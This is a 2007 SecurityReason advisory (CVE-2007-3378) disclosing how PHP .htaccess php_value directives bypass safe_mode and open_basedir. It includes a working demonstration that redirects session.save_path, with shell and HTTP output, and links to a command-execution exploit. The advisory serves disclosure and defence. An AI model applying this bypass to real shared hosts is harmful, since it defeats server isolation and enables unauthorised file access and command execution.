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PHP 5.2.3 PHP 4.4.7, htaccess safemode and open_basedir Bypass Vulnerability
From: Maksymilian Arciemowicz <max () jestsuper pl>
Date: Fri, 13 Jul 2007 02:46:50 +0200

Source: http://securityreason.com/achievement_securityalert/45

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[PHP 5.2.3 PHP 4.4.7, htaccess safemode and open_basedir Bypass Vulnerability ]

Author: Maksymilian Arciemowicz (cXIb8O3)
        SecurityReason
Date:
- - Written: 10.02.2007
- - Public: 27.06.2007

SecurityReason Research
SecurityAlert Id: 45

CVE: CVE-2007-3378
SecurityRisk: High

Affected Software: PHP <= 5.2.3 , PHP <= 4.4.7
Advisory URL: http://securityreason.com/achievement_securityalert/45
Vendor: http://www.php.net

- --- 0.Description ---

PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of 
unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically 
generated pages quickly.

 When using PHP as an Apache module, you can also change the configuration settings using directives in Apache 
configuration files (e.g. httpd.conf) and .htaccess files. You will need "AllowOverride Options" or "AllowOverride All" 
privileges to do so.


 php_value  name  value

    Sets the value of the specified directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type directives. To 
clear a previously set value use none as the value.

        Note: Don't use php_value to set boolean values. php_flag (see below) should be used instead. 

php_flag name on|off

    Used to set a boolean configuration directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type 
directives. 

    mail.force_extra_parameters - Force the addition of the specified parameters to be passed as extra parameters to 
the sendmail binary. These parameters will always replace the value of the 5th parameter to mail(), even in safe mode

http://pl.php.net/manual/en/configuration.changes.php

- --- 1. htaccess safemode and open_basedir Bypass Vulnerability ---

When using PHP as an Apache module, you can also change the configuration settings using directives in .htaccess file. 
These options are used by a lot of users to change permissions options like display_errors etc. But it is
possible to bypass a safe_mode or open_basedir in different functions.For example you can set session.save_path via 
.htaccess. In function session_save_path() and ini_set() save_path is checked for safe_mode and open_basedir. In 
.htaccess it is bypassed. Values from .htaccess are not checked.

For example:

cxib# ls -la /www/cxib/
total 14
drwxr-xr-x   3 cxib  www   512 Feb 16 20:20 .
drwxr-xr-x  11 www   www  7168 Feb 16 20:07 ..
- -rw-r--r--   1 cxib  www    53 Feb 16 20:19 stars.php
drwxr-xr-x   2 cxib  www   512 Feb 16 20:18 temps
cxib# cat /www/cxib/stars.php
<?php
session_save_path("/inne");
session_start();
?>
cxib# telnet 0 80
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
GET /cxib/stars.php HTTP/1.1
Host: localhost

HTTP/1.1 200 OK
Date: Fri, 16 Feb 2007 19:22:58 GMT
Server: Apache/2.2.4 (FreeBSD) mod_ssl/2.2.4 OpenSSL/0.9.7e-p1 DAV/2 PHP/5.2.1
X-Powered-By: PHP/5.2.1
Content-Length: 732
Content-Type: text/html

<br />
<b>Warning</b>:  session_save_path() [<a
href='function.session-save-path'>function.session-save-path</a>]:
open_basedir restriction in effect. File(/inne) is not within the allowed
path(s): (/www) in <b>/www/cxib/stars.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>:  session_start() [<a
href='function.session-start'>function.session-start</a>]: open_basedir
restriction in effect. File(/var/tmp/) is not within the allowed path(s):
(/www) in <b>/www/cxib/stars.php</b> on line <b>3</b><br />
<br />
<b>Fatal error</b>:  session_start() [&lt;a
href='function.session-start'&gt;function.session-start&lt;/a&gt;]: Failed to
initialize storage module: files (path: ) in <b>/www/cxib/stars.php</b> on
line <b>3</b><br />

Connection closed by foreign host.
cxib#

So we can't create session in directory. But when we create file
.htaccess, we can
write there:

- ---
php_value session.save_path /inne
- ---

cxib# ls -la /www/cxib/
total 16
drwxr-xr-x   3 cxib  www   512 Feb 16 20:26 .
drwxr-xr-x  11 www   www  7168 Feb 16 20:26 ..
- -rw-r--r--   1 cxib  www    34 Feb 16 20:26 .htaccess
- -rw-r--r--   1 cxib  www    53 Feb 16 20:19 stars.php
drwxr-xr-x   2 cxib  www   512 Feb 16 20:18 temps
cxib# cat /www/cxib/.htaccess
php_value session.save_path /inne
cxib# cat /www/cxib/stars.php
<?php
session_start();
?>

We can't set session.save_path via ini_set() or session_save_path().
Let's try sending a  request.

cxib# telnet 0 80
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
GET /cxib/stars.php HTTP/1.1
Host: localhost

HTTP/1.1 200 OK
Date: Fri, 16 Feb 2007 19:30:42 GMT
Server: Apache/2.2.4 (FreeBSD) mod_ssl/2.2.4 OpenSSL/0.9.7e-p1 DAV/2 PHP/5.2.1
X-Powered-By: PHP/5.2.1
Set-Cookie: PHPSESSID=45cae9284f2f8b7cb05ce96021c9bf4e; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Content-Type: text/html

Connection closed by foreign host.
cxib#
cxib# ls -la /inne
total 3
drwxrwxrwx   2 root  wheel   512 Feb 16 20:30 .
drwxr-xr-x  24 root  wheel  1024 Feb 16 20:05 ..
- -rw-------   1 www   wheel     0 Feb 16 20:30
sess_45cae9284f2f8b7cb05ce96021c9bf4e

Open_basedir and safe_mode are bypassed.
Same problem is in error_log and probably in other functions.

This issue allows attacker to bypass disabled_functions like system, exec etc. We have contacted with Stefan Esser to 
verify this issue, big thanks for him. In PHP 5.2.3 it is possible to execute command using exploit if mail() function 
is allowed.

- --- 2. Exploit ---

!WARNING!
This exploit will be public on 29.06.2007

Tested on: PHP 5.2.3 FreeBSD 6.2.
           PHP 5.2.3 OpenBSD 4.1

Only for PHP5:
http://securityreason.com/achievement_exploitalert/9

- --- 3. How to fix ---

This bug has been founded on February 2007
We are still awaiting for reply from PHP Team.

- --- 4. Greets ---

For: sp3x, Infospec p_e_a, l5x, pi3 and Stefan Esser

- --- 5. Contact ---

Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
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